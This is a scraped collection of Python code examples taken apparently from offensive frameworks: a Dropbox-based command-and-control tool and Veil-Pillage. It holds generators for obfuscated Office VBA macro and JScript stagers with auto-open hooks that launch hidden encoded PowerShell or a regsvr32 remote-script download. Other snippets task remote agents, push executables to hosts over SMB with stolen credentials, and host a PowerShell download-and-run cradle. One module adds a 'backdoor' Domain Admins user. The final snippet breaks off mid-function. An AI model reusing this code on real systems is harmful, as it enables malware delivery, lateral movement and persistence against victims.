Ejemplo n.º 1
0
    def macro2(cls, stagerParameters):
        """Creates an Office VBA macro that launches a powershell one liner command"""

        # Randomize VBA variable names
        varTmp = helpers.randomString(5)
        varEncodedCommand = helpers.randomString(5)
        varFinalCommand = helpers.randomString(5)
        varFlag = helpers.randomString(5)
        varExec = helpers.randomString(5)

        parameters = {'varTmp':varTmp,'varEncodedCommand':varEncodedCommand,'varFinalCommand':varFinalCommand,'varFlag':varFlag,\
             'varExec':varExec, 'serverName':stagerParameters['serverName']}

        macro = helpers.convertFromTemplate(parameters, 'templates/macro2.tpl')

        try:
            with open('stagers/macro2.vb', 'w+') as f:
                f.write(macro)
                f.close()
                print helpers.color(
                    "[+] Macro stager saved in [stagers/macro2.vb]")
                print helpers.color(
                    "[*] Hint: Use this VBA macro in Excel, sign it even with a self-signed certificate, and save it in format 'Excel 97-2003'"
                )
        except IOError:
            print helpers.color(
                "[!] Could not write stager file [stagers/macro2.vb]")
Ejemplo n.º 2
0
    def macro(cls, stagerParameters):
        """Creates an Office VBA macro that launches a powershell one liner command"""

        command = "powershell -NoP -sta -NonI -W Hidden -Enc "

        # Scramble the oneliner with a dumb caesar cipher :-) Simple obfuscation will do
        key = helpers.randomInt(
            0, 94
        )  # 94 is the range of printable ASCII chars (between 32 and 126)
        encryptedCommand = ""
        for char in command:
            num = ord(
                char
            ) - 32  # Translate the working space, 32 being the first printable ASCI char
            shifted = (num + key) % 94 + 32
            if shifted == 34:
                encryptedCommand += "\"{}".format(chr(
                    shifted))  # Handling the double quote print problem in VBA
            else:
                encryptedCommand += chr(shifted)

        # Randomize VBA variable names
        varTmp = helpers.randomString(5)
        varEncryptedCommand = helpers.randomString(5)
        varEncodedCommand = helpers.randomString(5)
        varFinalCommand = helpers.randomString(5)
        varFlag = helpers.randomString(5)
        varKey = helpers.randomString(5)
        varObjWMI = helpers.randomString(5)
        varObjStartup = helpers.randomString(5)
        varObjConfig = helpers.randomString(5)
        varObjProcess = helpers.randomString(5)

        parameters = {'varTmp':varTmp,'varEncryptedCommand':varEncryptedCommand,'encryptedCommand':encryptedCommand,\
             'varEncodedCommand':varEncodedCommand,'varFinalCommand':varFinalCommand,'varFlag':varFlag,\
             'varKey':varKey,'key':key,'varObjWMI':varObjWMI,'varObjStartup':varObjStartup,'varObjConfig':varObjConfig,\
             'varObjProcess':varObjProcess,'serverName':stagerParameters['serverName']}

        macro = helpers.convertFromTemplate(parameters, 'templates/macro.tpl')

        try:
            with open('stagers/macro.vb', 'w+') as f:
                f.write(macro)
                f.close()
                print helpers.color(
                    "[+] Macro stager saved in [stagers/macro.vb]")
                print helpers.color(
                    "[*] Hint: Use this VBA macro in Excel, sign it even with a self-signed certificate, and save it in format 'Excel 97-2003'"
                )
        except IOError:
            print helpers.color(
                "[!] Could not write stager file [stagers/macro.vb]")
Ejemplo n.º 3
0
    def taskAgentWithLaunchProcess(self, exePath, parameters):
        # Create a task
        task = self.statusHandler.createTask(self.agentID,
                                             "launchProcess",
                                             args=[exePath, parameters])

        # Prepare the task format, then put the task into the command file
        data = "launchProcess\n{}\n{}\n{}\n{}".format(task['id'], exePath,
                                                      parameters,
                                                      helpers.randomString(16))
        aes = AES.new(key, AES.MODE_CBC, iv)
        encoder = PKCS7Encoder()
        pad_text = encoder.encode(data)
        cipher = aes.encrypt(pad_text)
        decodedData = base64.b64encode(cipher)
        r = self.dropboxHandler.putFile(
            self.statusHandler.getAgentAttribute(self.agentID, 'commandFile'),
            decodedData)

        if r is not None:
            # Commit this task for the current agent
            self.statusHandler.commitTask(task)
            print helpers.color(
                "[+] Agent with ID [{}] has been tasked with task ID [{}]".
                format(self.agentID, task['id']))
        else:
            print helpers.color("[!] Error tasking agent with ID [{}]".format(
                self.agentID))
Ejemplo n.º 4
0
def winexeExecuteResult(target, username, password, cmd, pause=1):
    """
    Run a particular command with winexeCommand(), get the result
    with getFile() and delete the temporary output file.

    'pause' is the number of seconds between execution of the command
    and the grabbing of the temporary file, defaults to 1 second

    Returns the result of the command on success, and "failure" on failure.
    """

    # choose a random output file
    outputFile = helpers.randomString() + ".txt"

    # execute the wmisCommand and specify the output file to be our randomized name
    output = winexeCommand(target,
                           username,
                           password,
                           cmd,
                           outputFile=outputFile)

    # check if the command was successful
    if output == "success":

        # sleep for a bit of time before we grab the output file
        time.sleep(pause)

        # retrieve the output file and delete it
        return smb.getFile(target,
                           username,
                           password,
                           "C:\\Windows\\Temp\\" + outputFile,
                           delete=True)

    return output
Ejemplo n.º 5
0
def uploadTrigger(targets, username, password, exePath, triggerMethod="wmis", exeArgs=""):
    """
    Take a particular exe at "exePath" path and uploads it to each 
    target in targets, using the specified username and password.

    The specified triggerMethod (default wmis) is then used to trigger the
    uploaded executable.

    """

    # if we get a single target, make it into a list
    if type(targets) is str:
        targets = [targets]

    # randomize the uploaded .exe file name
    uploadFileName = helpers.randomString() + ".exe"

    # copy the payload to the random hostedFileName in the temp directory
    os.system("cp "+exePath+" /"+settings.TEMP_DIR+"/"+uploadFileName)

    # command to trigger the uploaded executable
    cmd = "C:\\Windows\\Temp\\"+uploadFileName+" "+exeArgs

    for target in targets:
        # upload the binary to the host at C:\Windows\Temp\
        smb.uploadFile(target, username, password, "C$", "\\Windows\\Temp\\", settings.TEMP_DIR+"/"+uploadFileName, 5)
        
        # execute the trigger command
        command_methods.executeCommand(target, username, password, cmd, triggerMethod)

    # return the randomized name in the calling method later wants
    # to clean the processes up
    return uploadFileName
Ejemplo n.º 6
0
    def __init__(self, targets=None, creds=None, args=None):
        
        self.name = "Add Domain User"
        self.description = "Adds a domain user to the specified domain group on a host or host list."

        # internal list() that holds one or more targets 
        self.targets = targets

        # internal list() that holds one or more cred tuples
        #   [ (username, pw), (username2, pw2), ...]
        self.creds = creds

        # a state output file that will be written out by pillage.py
        #   ex- if you're querying domain users
        self.output = ""

        # a cleanup file that will be written out by pillage.py
        #   ex- if you're enabling the sticky-keys backdoor on systems
        self.cleanup = ""

        # options we require user interaction for- format is {Option : [Value, Description]]}
        self.required_options = {"trigger_method"   : ["wmis", "[wmis], [winexe], or [smbexec] for triggering"],
                                 "user"             : ["backdoor", "Username to add."],
                                 "group"            : ["Domain Admins", "Domain group to add user to"],
                                 "pass"             : [helpers.randomString(length=12), "Password for the new user." ]}
Ejemplo n.º 7
0
def winexeExecuteResult(target, username, password, cmd, pause=1):
    """
    Run a particular command with winexeCommand(), get the result
    with getFile() and delete the temporary output file.

    'pause' is the number of seconds between execution of the command
    and the grabbing of the temporary file, defaults to 1 second

    Returns the result of the command on success, and "failure" on failure.
    """

    # choose a random output file
    outputFile = helpers.randomString() + ".txt"

    # execute the wmisCommand and specify the output file to be our randomized name
    output = winexeCommand(target, username, password, cmd, outputFile=outputFile)

    # check if the command was successful
    if output == "success":

        # sleep for a bit of time before we grab the output file
        time.sleep(pause)
        
        # retrieve the output file and delete it
        return smb.getFile(target, username, password, "C:\\Windows\\Temp\\"+outputFile, delete=True)

    return output
Ejemplo n.º 8
0
    def taskAgentWithRunPSModule(self,
                                 moduleName,
                                 moduleArgs=None,
                                 interact=False):

        # Construct the powershell code from a template, substituting palceholders with proper parameters
        parameters = {
            'moduleURL': self.statusHandler.publishedModuleList[moduleName],
            'moduleName': moduleName
        }
        poshCmd = helpers.convertFromTemplate(
            parameters, cfg.defaultPath['runPSModuleTpl'])
        if poshCmd == None: return

        # Add module arguments if ever
        if moduleArgs:
            poshCmd += ";Write-Host \"-> Executing module arguments\";{}".format(
                moduleArgs)

        # If we want to interact with the PowerShell CLI once the module is loaded, switch to 'shell' mode
        if interact:
            self.taskAgentWithShell(poshCmd)
        else:
            task = self.statusHandler.createTask(self.agentID,
                                                 "runPSModule",
                                                 args=[moduleName, moduleArgs])

            # Turn the powershell code into a suitable powershell base64 encoded one line command
            # base64Payload = helpers.powershellEncode(poshCmd)

            # Create the final command
            # cmd = "powershell.exe -NoP -sta -NonI -Enc {}".format(base64Payload)
            cmd = poshCmd
            # Prepare the task format, then put the task into the command file
            data = "runPS\n{}\n{}\n{}".format(task['id'], cmd,
                                              helpers.randomString(16))

            aes = AES.new(key, AES.MODE_CBC, iv)
            encoder = PKCS7Encoder()
            pad_text = encoder.encode(data)
            cipher = aes.encrypt(pad_text)
            decodedData = base64.b64encode(cipher)

            r = self.dropboxHandler.putFile(
                self.statusHandler.getAgentAttribute(self.agentID,
                                                     'commandFile'),
                decodedData)

            if r is not None:
                # Commit this task for the current agent
                self.statusHandler.commitTask(task)
                print helpers.color(
                    "[+] Agent with ID [{}] has been tasked with task ID [{}]".
                    format(self.agentID, task['id']))
            else:
                print helpers.color(
                    "[!] Error tasking agent with ID [{}]".format(
                        self.agentID))
Ejemplo n.º 9
0
def hostTrigger(targets, username, password, exePath, localHost, triggerMethod="wmis", exeArgs=""):
    """
    Spins up an Impacket SMB server and hosts the binary specified by exePath.
    The specified triggerMethod (default wmis) is then used to invoke a command
    with the UNC path "\\localHost\\exe" which will invoke the specified
    executable purely in memory.

    Note: this evades several AV vendors, even with normally disk-detectable
    executables #avlol :)

    This takes 'targets' instead of a single 'target' since we don't want to set up
    and tear down the local SMB server every time.
    """

    # if we get a single target, make it into a list
    if type(targets) is str:
        targets = [targets]

    # randomize the hosted .exe file name
    hostedFileName = helpers.randomString() + ".exe"

    # make the tmp hosting directory if it doesn't already exist
    if not os.path.exists(settings.TEMP_DIR + "shared/"): 
        os.makedirs(settings.TEMP_DIR + "shared/")

    # copy the payload to the random hostedFileName in the temp directory
    os.system("cp "+exePath+" /"+settings.TEMP_DIR+"/shared/" + hostedFileName)

    # spin up the SMB server 
    server = smb.ThreadedSMBServer()
    server.start()
    time.sleep(.5)

    # build the UNC path back to our host and executable and any specified arguments
    cmd = "\\\\" + localHost + "\\system\\" + hostedFileName+" "+exeArgs

    for target in targets:
        # execute the UNC command for each target
        command_methods.executeCommand(target, username, password, cmd, triggerMethod)

    print helpers.color("\n [*] Giving time for commands to trigger...")
    # sleep so the wmis/winexe commands can trigger and the target
    # can grab the .exe from the SMB server
    time.sleep(10)

    # shut the smb server down
    server.shutdown()

    # remove the temporarily hosted files
    os.system("rm -rf " + settings.TEMP_DIR+"/shared/")

    # not sure if need to do this to kill off the smb server...
    # os.kill(os.getpid(), signal.SIGINT) ?

    # return the randomized name in the calling method later wants
    # to clean the processes up
    return hostedFileName
Ejemplo n.º 10
0
    def taskAgentWithRunPSModule(self,
                                 moduleName,
                                 moduleArgs=None,
                                 interact=False):

        # Construct the powershell code from a template, substituting palceholders with proper parameters
        xorKey = Crypto.convertKey(self.statusHandler.masterKey,
                                   outputFormat="sha256")
        parameters = {
            'xorKey': xorKey,
            'moduleURL': self.statusHandler.publishedModuleList[moduleName]
        }
        poshCmd = helpers.convertFromTemplate(
            parameters, cfg.defaultPath['runPSModuleTpl'])
        if poshCmd == None: return

        # Add module arguments if ever
        if moduleArgs:
            poshCmd += ";Write-Host \"-> Executing module arguments\";{}".format(
                moduleArgs)

        # If we want to interact with the PowerShell CLI once the module is loaded, switch to 'shell' mode
        if interact:
            self.taskAgentWithShell(poshCmd)
        else:
            task = self.statusHandler.createTask(self.agentID,
                                                 "runPSModule",
                                                 args=[moduleName, moduleArgs])

            # Turn the powershell code into a suitable powershell base64 encoded one line command
            base64Payload = helpers.powershellEncode(poshCmd)

            # Create the final command
            cmd = "powershell.exe -NoP -sta -NonI -W Hidden -Enc {}".format(
                base64Payload)

            # Prepare the task format, then put the task into the command file
            data = "runCLI\n{}\n{}\n{}".format(task['id'], cmd,
                                               helpers.randomString(16))
            r = self.dropboxHandler.putFile(
                self.statusHandler.getAgentAttribute(self.agentID,
                                                     'commandFile'),
                Crypto.encryptData(data, self.statusHandler.masterKey))

            if r is not None:
                # Commit this task for the current agent
                self.statusHandler.commitTask(task)
                print helpers.color(
                    "[+] Agent with ID [{}] has been tasked with task ID [{}]".
                    format(self.agentID, task['id']))
            else:
                print helpers.color(
                    "[!] Error tasking agent with ID [{}]".format(
                        self.agentID))
Ejemplo n.º 11
0
    def taskAgentWithShell(self, cmd):
        # Prepare the task format, then put the task into the command file
        data = "shell\n{}\n{}\n{}".format("n/a", cmd, helpers.randomString(16))
        r = self.dropboxHandler.putFile(
            self.statusHandler.getAgentAttribute(self.agentID, 'commandFile'),
            Crypto.encryptData(data, self.statusHandler.masterKey))

        if r is not None:
            print helpers.color(
                "[+] Agent with ID [{}] has been tasked with shell command".
                format(self.agentID))
        else:
            print helpers.color("[!] Error tasking agent with ID [{}]".format(
                self.agentID))
Ejemplo n.º 12
0
    def taskAgentWithSendFile(self, localFile, destinationPath):
        # Creating the remote file path (used on the DropBox API server)
        fileName = os.path.basename(localFile)
        remoteFilePath = "/" + self.agentID + ".rsc"

        # First upload the localFile to DropBox
        try:
            with open(localFile) as fileHandle:
                print helpers.color("[*] Uploading file [{}] to [{}]".format(
                    localFile, remoteFilePath))
                r = self.dropboxHandler.putFile(remoteFilePath,
                                                fileHandle.read())
                fileHandle.close()

                if r is None:
                    return
        except IOError:
            print helpers.color(
                "[!] Could not open or read file [{}]".format(localFile))
            return

        # Once the local file is properly uploaded, proceed with tasking the agent
        # Create a task
        task = self.statusHandler.createTask(self.agentID,
                                             "sendFile",
                                             args=[localFile, destinationPath])
        # Prepare the task format, then put the task into the command file
        data = "downloadFile\n{}\n{}\n{}\n{}\n{}".format(
            task['id'], remoteFilePath, destinationPath, fileName,
            helpers.randomString(16))

        aes = AES.new(key, AES.MODE_CBC, iv)
        encoder = PKCS7Encoder()
        pad_text = encoder.encode(data)
        cipher = aes.encrypt(pad_text)
        decodedData = base64.b64encode(cipher)

        r = self.dropboxHandler.putFile(
            self.statusHandler.getAgentAttribute(self.agentID, 'commandFile'),
            decodedData)

        if r is not None:
            # Commit this task for the current agent
            self.statusHandler.commitTask(task)
            print helpers.color(
                "[+] Agent with ID [{}] has been tasked with task ID [{}]".
                format(self.agentID, task['id']))
        else:
            print helpers.color("[!] Error tasking agent with ID [{}]".format(
                self.agentID))
Ejemplo n.º 13
0
def checkAdminShare(smbConn):
    """
    Check if the admin share for a host is writeable using the specified
    smb connection.

    smbConn = established SMB connection object

    Returns True if ADMIN$ is writable, False otherwise
    """

    name = helpers.randomString()
    try:
        # create a random directory and then delete it immedately
        smbConn.createDirectory('ADMIN$', name)
        smbConn.deleteDirectory('ADMIN$', name)
        return True
    except:
        return False
Ejemplo n.º 14
0
def checkAdminShare(smbConn):
    """
    Check if the admin share for a host is writeable using the specified
    smb connection.

    smbConn = established SMB connection object

    Returns True if ADMIN$ is writable, False otherwise
    """

    name = helpers.randomString()
    try:
        # create a random directory and then delete it immedately
        smbConn.createDirectory('ADMIN$',name)
        smbConn.deleteDirectory('ADMIN$',name)
        return True
    except:
        return False
Ejemplo n.º 15
0
    def jscript(cls, stagerParameters):
        """Creates an JScript script that launchs a serialized version of the agent, thx to DotNetToJscript method"""

        # Randomize JS variable names
        varTmp = helpers.randomString(5)
        varEncodedCommand = helpers.randomString(5)
        varFinalCommand = helpers.randomString(5)
        varFlag = helpers.randomString(5)
        varExec = helpers.randomString(5)

        caesarKey = helpers.randomInt(0, 94)
        varWebDavServer = helpers.randomString(4)
        webDavServer = cls.caesar('js', caesarKey,
                                  stagerParameters['serverName'])
        funcInvertCaesar = helpers.randomString(10)
        varEntryClass = helpers.randomString(4)
        entryClass = cls.caesar('js', caesarKey, "C2_Agent")
        memoryStream = cls.caesar('js', caesarKey, "System.IO.MemoryStream")
        binaryFormatter = cls.caesar(
            'js', caesarKey,
            "System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")
        arrayList = cls.caesar('js', caesarKey, "System.Collections.ArrayList")


        parameters = {  'caesarKey' : caesarKey, 'varWebDavServer': varWebDavServer, 'webDavServer': webDavServer, \
            'funcInvertCaesar': funcInvertCaesar, 'varEntryClass': varEntryClass, 'entryClass': entryClass, \
            'memoryStream': memoryStream, 'binaryFormatter': binaryFormatter, 'arrayList': arrayList \
        }

        macro = helpers.convertFromTemplate(parameters,
                                            'templates/jscript.tpl')

        try:
            with open('stagers/agent.js', 'w+') as f:
                f.write(macro)
                f.close()
                print helpers.color(
                    "[+] Macro stager saved in [stagers/agent.js]")
        except IOError:
            print helpers.color(
                "[!] Could not write stager file [stagers/agent.js]")
Ejemplo n.º 16
0
    def taskAgentWithStop(self):
        # Create a task
        task = self.statusHandler.createTask(self.agentID, "stop")

        # Prepare the task format, then put the task into the command file
        data = "stop\n{}\n{}".format(task['id'], helpers.randomString(16))
        r = self.dropboxHandler.putFile(
            self.statusHandler.getAgentAttribute(self.agentID, 'commandFile'),
            Crypto.encryptData(data, self.statusHandler.masterKey))

        if r is not None:
            # Commit this task for the current agent
            self.statusHandler.commitTask(task)
            print helpers.color(
                "[+] Agent with ID [{}] has been tasked with task ID [{}]".
                format(self.agentID, task['id']))
        else:
            print helpers.color("[!] Error tasking agent with ID [{}]".format(
                self.agentID))
Ejemplo n.º 17
0
def smbexecExecuteResult(target, username, password, cmd, pause=1):
    """
    Calls a modified version of Impacket's smbexec.py example
    and returns the output of the command passed.
        code hosted in ./lib/smb.py

    Creates a service but doesn't drop any binary to disk.
    """

    # choose a random output file
    outputFile = helpers.randomString() + ".txt"

    # run the command
    smbexecCommand(target, username, password, cmd, outputFile=outputFile)

    # sleep for a bit of time before we grab the output file
    time.sleep(pause)
    
    # return the output
    return smb.getFile(target, username, password, "C:\\Windows\\Temp\\"+outputFile, delete=True)
Ejemplo n.º 18
0
def uploadTrigger(targets,
                  username,
                  password,
                  exePath,
                  triggerMethod="wmis",
                  exeArgs=""):
    """
    Take a particular exe at "exePath" path and uploads it to each 
    target in targets, using the specified username and password.

    The specified triggerMethod (default wmis) is then used to trigger the
    uploaded executable.

    """

    # if we get a single target, make it into a list
    if type(targets) is str:
        targets = [targets]

    # randomize the uploaded .exe file name
    uploadFileName = helpers.randomString() + ".exe"

    # copy the payload to the random hostedFileName in the temp directory
    os.system("cp " + exePath + " /" + settings.TEMP_DIR + "/" +
              uploadFileName)

    # command to trigger the uploaded executable
    cmd = "C:\\Windows\\Temp\\" + uploadFileName + " " + exeArgs

    for target in targets:
        # upload the binary to the host at C:\Windows\Temp\
        smb.uploadFile(target, username, password, "C$", "\\Windows\\Temp\\",
                       settings.TEMP_DIR + "/" + uploadFileName, 5)

        # execute the trigger command
        command_methods.executeCommand(target, username, password, cmd,
                                       triggerMethod)

    # return the randomized name in the calling method later wants
    # to clean the processes up
    return uploadFileName
Ejemplo n.º 19
0
    def taskAgentWithShell(self, cmd):
        global key
        global iv
        # Prepare the task format, then put the task into the command file
        data = "shell\n{}\n{}\n{}\n{}".format("n/a", cmd,
                                              helpers.randomString(16), "")
        aes = AES.new(key, AES.MODE_CBC, iv)
        encoder = PKCS7Encoder()
        pad_text = encoder.encode(data)
        cipher = aes.encrypt(pad_text)
        decodedData = base64.b64encode(cipher)

        r = self.dropboxHandler.putFile(
            self.statusHandler.getAgentAttribute(self.agentID, 'commandFile'),
            decodedData)

        if r is not None:
            print helpers.color(
                "[+] Agent with ID [{}] has been tasked with shell command".
                format(self.agentID))
        else:
            print helpers.color("[!] Error tasking agent with ID [{}]".format(
                self.agentID))
Ejemplo n.º 20
0
def smbexecExecuteResult(target, username, password, cmd, pause=1):
    """
    Calls a modified version of Impacket's smbexec.py example
    and returns the output of the command passed.
        code hosted in ./lib/smb.py

    Creates a service but doesn't drop any binary to disk.
    """

    # choose a random output file
    outputFile = helpers.randomString() + ".txt"

    # run the command
    smbexecCommand(target, username, password, cmd, outputFile=outputFile)

    # sleep for a bit of time before we grab the output file
    time.sleep(pause)

    # return the output
    return smb.getFile(target,
                       username,
                       password,
                       "C:\\Windows\\Temp\\" + outputFile,
                       delete=True)
Ejemplo n.º 21
0
def powershellHostTrigger(targets, username, password, secondStage, lhost, scriptArguments="", triggerMethod="wmis", extraFiles=[], outFile=None, ssl=False, noArch=False):
    """
    Hosts the 'secondaryStage' powershell script on a temporary web server,
    and triggers the "IEX (New-Object Net.WebClient).DownloadString(...)" cradle
    to download and invoke the secondStage.

    Inspiration from http://www.pentestgeek.com/2013/09/18/invoke-shellcode/

    lhost               - local host IP to trigger the secondary stage from
    secondStage         - path to a secondary Powershell payload stage
    scriptArguments     - additional powershell command to run right after the secondStage download 
                            i.e. for PowerSploit arguments
    extraFiles          - additional files to host (i.e. an exe)
    outFile             - if you want to retrieve the results of the final execution
    ssl                 - use https/ssl for the trigger
    noArch              - don't do the arch-independent launcher

    Inspiration from http://www.pentestgeek.com/2013/09/18/invoke-shellcode/

    """

    # this surpasses the length-limit implicit to smbexec I'm afraid :(
    if triggerMethod.lower() == "smbexec":
        print helpers.color("\n\n [!] Error: smbexec will not work with powershell invocation",warning=True)
        raw_input(" [*] press any key to return: ")
        return ""

    # sanity check that the second powershell stage actually exists
    if not os.path.exists(secondStage):
        print helpers.color("\n\n [!] Error: second powershell stage '"+secondStage+"' doesn't exist!", warning=True)
        raw_input(" [*] press any key to return: ")
        return ""

    # translate string to boolean for ssl
    if ssl and isinstance(ssl, str):
        if ssl.lower()=="true": ssl = True
        else: ssl = False

    # get a randomized name for our second stage
    secondStageName = helpers.randomString()

    # if we're using ssl/https to host, throw in the self-signed cert
    # note: this also cleanr out the host directory, /tmp/pillage/ !
    if ssl:
        certPath = settings.VEIL_PILLAGE_PATH + "/data/misc/key.pem"
        # create our Veil HTTPS server for serving /tmp/pillage/
        server = http.VeilHTTPServer(port=443, cert=certPath)
        # append https to the local host
        url = "https://" + lhost + "/" + secondStageName
    else:
        # create our Veil HTTP server for serving /tmp/pillage/
        server = http.VeilHTTPServer()
        url = "http://" + lhost + "/" + secondStageName

    # copy the second stage into the randomized name in /tmp/pillage/
    os.system("cp " + secondStage + " /tmp/pillage/"+secondStageName)

    # start the http server up
    server.start()
    time.sleep(.5)

    # copy in any extra files to host (i.e. if we're doing remote reflective exe invocation or something)
    for f in extraFiles:
        if not os.path.exists(secondStage):
            print helpers.color(" [!] Error: addtional file '"+f+"' doesn't exist!", warning=True)
        else:
            os.system("cp " + f + " /tmp/pillage/")

    # call the general powershell trigger method with the appropriate url
    powershellTrigger(targets, username, password, url, scriptArguments, triggerMethod, outFile, noArch)

    # pause for a bit, and the shut the server down
    print helpers.color("\n [*] Giving time for commands to trigger...")
    time.sleep(10)
    server.shutdown()
Ejemplo n.º 22
0
    def macro_sct(cls, sctUrl):
        """Creates an Office VBA macro that uses the regsvr32.exe JScript code execution trick from @subTee to load an SCT file stager"""

        # The shell command to be executed. It spawns a regsvr32.exe process to download the SCT stager from a URL and executed it
        shellCommand = "regsvr32.exe /s /n /u /i:" + sctUrl + " scrobj.dll"

        # Scramble the shell command with a dumb caesar cipher :-) Simple obfuscation will do
        key = helpers.randomInt(
            0, 94
        )  # 94 is the range of printable ASCII chars (between 32 and 126)
        scrambledShellCommand = ""
        for char in shellCommand:
            num = ord(
                char
            ) - 32  # Translate the working space, 32 being the first printable ASCI char
            shifted = (num + key) % 94 + 32
            if shifted == 34:
                scrambledShellCommand += "\"{}".format(chr(
                    shifted))  # Handling the double quote print problem in VBA
            else:
                scrambledShellCommand += chr(shifted)

        # Variable's names are randomized
        varStr = helpers.randomString(5)
        varKey = helpers.randomString(5)

        # Auto opening functions for both Word and Excel
        macro = "Sub Auto_Open()\n"
        macro += "\tComputeTable\n"
        macro += "End Sub\n\n"
        macro = "Sub AutoOpen()\n"
        macro += "\tComputeTable\n"
        macro += "End Sub\n\n"
        macro += "Sub Document_Open()\n"
        macro += "\tComputeTable\n"
        macro += "End Sub\n\n"
        macro += "Sub Workbook_Open()\n"
        macro += "\tComputeTable\n"
        macro += "End Sub\n\n"

        macro += "Public Function ComputeTable() As Variant\n"
        macro += "\tDim {} As String\n".format(varStr)
        macro += "\t{} = \"{}\"\n".format(varStr, scrambledShellCommand)

        macro += "\tDim {} As Integer\n".format(varKey)
        macro += "\t{} = {}\n".format(varKey, key)

        # scrambled shell Command decryption stub = inverse caesar
        macro += "\tDim i, n, s As Integer\n"
        macro += "\tFor i = 1 To Len({})\n".format(varStr)
        macro += "\t\tn = Asc(Mid({}, i, 1))\n".format(varStr)
        macro += "\t\ts = n - {}\n".format(varKey)
        macro += "\t\tIf s < 32 Then\n"
        macro += "\t\t\ts = s + 94\n"
        macro += "\t\tEnd If\n"
        macro += "\t\tMid({}, i, 1) = Chr(s)\n".format(varStr)
        macro += "\tNext\n"

        macro += "\tresult = Shell({}, 0)\n".format(varStr)
        macro += "End Function\n"

        try:
            with open(cfg.defaultPath['macroStager'], "w+") as f:
                f.write(macro)
                f.close()
                print helpers.color("[+] Macro stager saved in [{}]".format(
                    cfg.defaultPath['macroStager']))
                print helpers.color(
                    "[*] Hint: Use this VBA macro in Excel, sign it even with a self-signed certificate, and save it in format 'Excel 97-2003'"
                )
        except IOError:
            print helpers.color("[!] Could not write stager file [{}]".format(
                cfg.defaultPath['macroStager']))
Ejemplo n.º 23
0
def hostTrigger(targets,
                username,
                password,
                exePath,
                localHost,
                triggerMethod="wmis",
                exeArgs=""):
    """
    Spins up an Impacket SMB server and hosts the binary specified by exePath.
    The specified triggerMethod (default wmis) is then used to invoke a command
    with the UNC path "\\localHost\\exe" which will invoke the specified
    executable purely in memory.

    Note: this evades several AV vendors, even with normally disk-detectable
    executables #avlol :)

    This takes 'targets' instead of a single 'target' since we don't want to set up
    and tear down the local SMB server every time.
    """

    # if we get a single target, make it into a list
    if type(targets) is str:
        targets = [targets]

    # randomize the hosted .exe file name
    hostedFileName = helpers.randomString() + ".exe"

    # make the tmp hosting directory if it doesn't already exist
    if not os.path.exists(settings.TEMP_DIR + "shared/"):
        os.makedirs(settings.TEMP_DIR + "shared/")

    # copy the payload to the random hostedFileName in the temp directory
    os.system("cp " + exePath + " /" + settings.TEMP_DIR + "/shared/" +
              hostedFileName)

    # spin up the SMB server
    server = smb.ThreadedSMBServer()
    server.start()
    time.sleep(.5)

    # build the UNC path back to our host and executable and any specified arguments
    cmd = "\\\\" + localHost + "\\system\\" + hostedFileName + " " + exeArgs

    for target in targets:
        # execute the UNC command for each target
        command_methods.executeCommand(target, username, password, cmd,
                                       triggerMethod)

    print helpers.color("\n [*] Giving time for commands to trigger...")
    # sleep so the wmis/winexe commands can trigger and the target
    # can grab the .exe from the SMB server
    time.sleep(10)

    # shut the smb server down
    server.shutdown()

    # remove the temporarily hosted files
    os.system("rm -rf " + settings.TEMP_DIR + "/shared/")

    # not sure if need to do this to kill off the smb server...
    # os.kill(os.getpid(), signal.SIGINT) ?

    # return the randomized name in the calling method later wants
    # to clean the processes up
    return hostedFileName
Ejemplo n.º 24
0
    def macro(cls, stagerParameters):
        """Creates an Office VBA macro that launches a powershell one liner command"""

        # First generate the powershell one liner
        oneLiner = cls.oneLiner(stagerParameters)

        # Scramble the oneliner with a dumb caesar cipher :-) Simple obfuscation will do
        key = helpers.randomInt(
            0, 94
        )  # 94 is the range of printable ASCII chars (between 32 and 126)
        scrambledOneliner = ""
        for char in oneLiner:
            num = ord(
                char
            ) - 32  # Translate the working space, 32 being the first printable ASCI char
            shifted = (num + key) % 94 + 32
            if shifted == 34:
                scrambledOneliner += "\"{}".format(chr(
                    shifted))  # Handling the double quote print problem in VBA
            else:
                scrambledOneliner += chr(shifted)

        # Split this scrambled oneliner is 50 chars long chunk of strings
        chunks = list(helpers.chunks(scrambledOneliner, 50))

        # This is the actual VBA code to launch powershell using WMI services
        # Variable's names are randomized
        varKey = helpers.randomString(5)
        varStr = helpers.randomString(5)
        varObjWMI = helpers.randomString(5)
        varObjStartup = helpers.randomString(5)
        varObjConfig = helpers.randomString(5)
        varObjProcess = helpers.randomString(5)

        payload = "\tDim {} As String\n".format(varStr)
        payload += "\t{} = \"".format(varStr) + str(chunks[0]) + "\"\n"
        for chunk in chunks[1:]:
            payload += "\t{} = {} + \"".format(varStr,
                                               varStr) + str(chunk) + "\"\n"

        # Auto opening functions for both Word and Excel
        macro = "Sub Auto_Open()\n"
        macro += "\tComputeTable\n"
        macro += "End Sub\n\n"
        macro = "Sub AutoOpen()\n"
        macro += "\tComputeTable\n"
        macro += "End Sub\n\n"
        macro += "Sub Document_Open()\n"
        macro += "\tComputeTable\n"
        macro += "End Sub\n\n"
        macro += "Sub Workbook_Open()\n"
        macro += "\tComputeTable\n"
        macro += "End Sub\n\n"

        macro += "Public Function ComputeTable() As Variant\n"
        macro += "\tDim {} As Integer\n".format(varKey)
        macro += "\t{} = {}\n".format(varKey, key)
        macro += payload

        # Payload decryption stub = inverse caesar
        macro += "\tDim i, n, s As Integer\n"
        macro += "\tFor i = 1 To Len({})\n".format(varStr)
        macro += "\t\tn = Asc(Mid({}, i, 1))\n".format(varStr)
        macro += "\t\ts = n - {}\n".format(varKey)
        macro += "\t\tIf s < 32 Then\n"
        macro += "\t\t\ts = s + 94\n"
        macro += "\t\tEnd If\n"
        macro += "\t\tMid({}, i, 1) = Chr(s)\n".format(varStr)
        macro += "\tNext\n"

        # WMI Process instantiation stub
        #macro += "\tSet {} = GetObject(\"winmgmts:\\\\\" & strComputer & \"\\root\\cimv2\")\n".format(varObjWMI)
        # Somehow hidden like this:
        macro += "\tSet {} = GetObject(ChrW(119) & ChrW(105) & ChrW(110) & ChrW(109) & ChrW(103) & ChrW(109) & ChrW(116) & ChrW(115) _\n".format(
            varObjWMI)
        macro += "\t\t& ChrW(58) & ChrW(92) & ChrW(92) & ChrW(46) & ChrW(92) & ChrW(114) & ChrW(111) & ChrW(111) & ChrW(116) & ChrW(92) _\n"
        macro += "\t\t& ChrW(99) & ChrW(105) & ChrW(109) & ChrW(118) & ChrW(50))\n"

        #macro += "\tSet {} = {}.Get(\"Win32_ProcessStartup\")\n".format(varObjStartup, varObjWMI)
        # Somehow hidden like this:
